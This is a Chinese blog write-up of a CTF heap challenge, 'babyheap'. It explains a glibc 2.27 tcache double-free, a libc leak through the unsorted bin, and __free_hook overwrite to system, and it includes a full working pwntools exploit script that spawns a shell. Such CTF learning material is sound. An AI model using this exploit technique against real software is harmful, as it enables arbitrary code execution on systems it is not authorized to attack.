babyheap
三个月前,9月17号参加了省赛,菜的和狗一样玩了一下午吃豆人。三个月后初学了堆,还是菜的和狗一样,不过大抵是会做这第一道了。
首先题目是一道规规矩矩的堆体模板。add函数限制了次数为7次,大小限制为0x7f及以内
根据各个函数的实现,先在脚本里写好对应的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| def add(size): p.sendlineafter(b"input your choice: ",b'1') p.sendlineafter(b"input size: ",str(size).encode())
def delete(idx): p.sendlineafter(b"input your choice: ",b'4') p.sendlineafter(b"input index: ",str(idx).encode())
def edit(idx,content): p.sendlineafter(b"input your choice: ",b'2') p.sendlineafter(b"input index: ",str(idx).encode()) p.sendlineafter(b"input content: ",content)
def show(idx): p.sendlineafter(b"input your choice: ",b'3') p.sendlineafter(b"input index: ",str(idx).encode())
|
这里我们需要填充tcache,可以采用覆盖0号chunk中的key也就是tcache中的bk指针位置,使其为0绕过检查。如此一来就可以多次free同一个堆块实现tcache的填充(这里参考的了nameless✌的做法)
因为tcache中的链为单向链表结构,其fd指针指向下一个,bk指针没有用处就充当key。在双向链表的bin中就没有key的检查。
覆盖key的方法则比较粗暴,直接利用edit函数将fd、bk同时覆盖为0即可。
控制好数量,填充完后可以达到这样的效果:
这里看到很有意思的一点,tcache显示被填满但没有形成链表,其道理就是我们将其fd、bk指针都进行了覆盖,导致tcache中是完全一样的七个0号chunk,并且不成链表结构,或者说,指向自己。
而unsorted bin中的堆块由于unsorted bin的特性,最后的堆块指向main_arena中unsorted bin的链表头,因此0号chunk又会指向main_arena某处。那么就可以泄露malloc_hook进而泄露libc。
但是这次我们换一种更直接的方法来计算libc的基址,那就是通过show函数回显出unsorted bin中chunk的指向后,先用tele指令观察回显的地址是什么东西:
这里看到回显的地址是main_arena+96,也就是链表头,这时候我们直接用vmmap指令可以看到这一次运行时libc的基地址:
直接将show的回显和libc基址相减就可以得出偏移,libc基址每次程序加载都在变,但是有了偏移之后,我们每次都可以通过show的回显减去偏移得到libcbase
这里求出偏移为0x3ebca0
有了libc基址之后就可以利用free_hook和system函数,再利用tcache poisoning利用free hook,传入system,构造好待free的chunk为"/bin/sh",最终delete就可以get shell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import* context(log_level="debug") context.terminal=["konsole","-e"] p=process("./babyheap") elf=ELF("./babyheap") libc=ELF("./libc-2.27.so") puts_got=elf.got['puts'] puts_plt=elf.plt['puts']
def add(size): p.sendlineafter(b"input your choice: ",b'1') p.sendlineafter(b"input size: ",str(size).encode())
def delete(idx): p.sendlineafter(b"input your choice: ",b'4') p.sendlineafter(b"input index: ",str(idx).encode())
def edit(idx,content): p.sendlineafter(b"input your choice: ",b'2') p.sendlineafter(b"input index: ",str(idx).encode()) p.sendlineafter(b"input content: ",content)
def show(idx): p.sendlineafter(b"input your choice: ",b'3') p.sendlineafter(b"input index: ",str(idx).encode())
add(0x7f) add(0x7f) delete(0)
for i in range(0,7): edit(0,p64(0)*2) delete(0)
show(0) p.recvuntil(b"\n") libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0 print("libcbase: ",hex(libcbase))
free_hook=libcbase+libc.sym["__free_hook"] system=libcbase+libc.sym["system"]
edit(0,p64(free_hook)) add(0x7f) add(0x7f) edit(3,p64(system)) edit(0,b"/bin/sh\x00") delete(0) p.interactive()
|
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !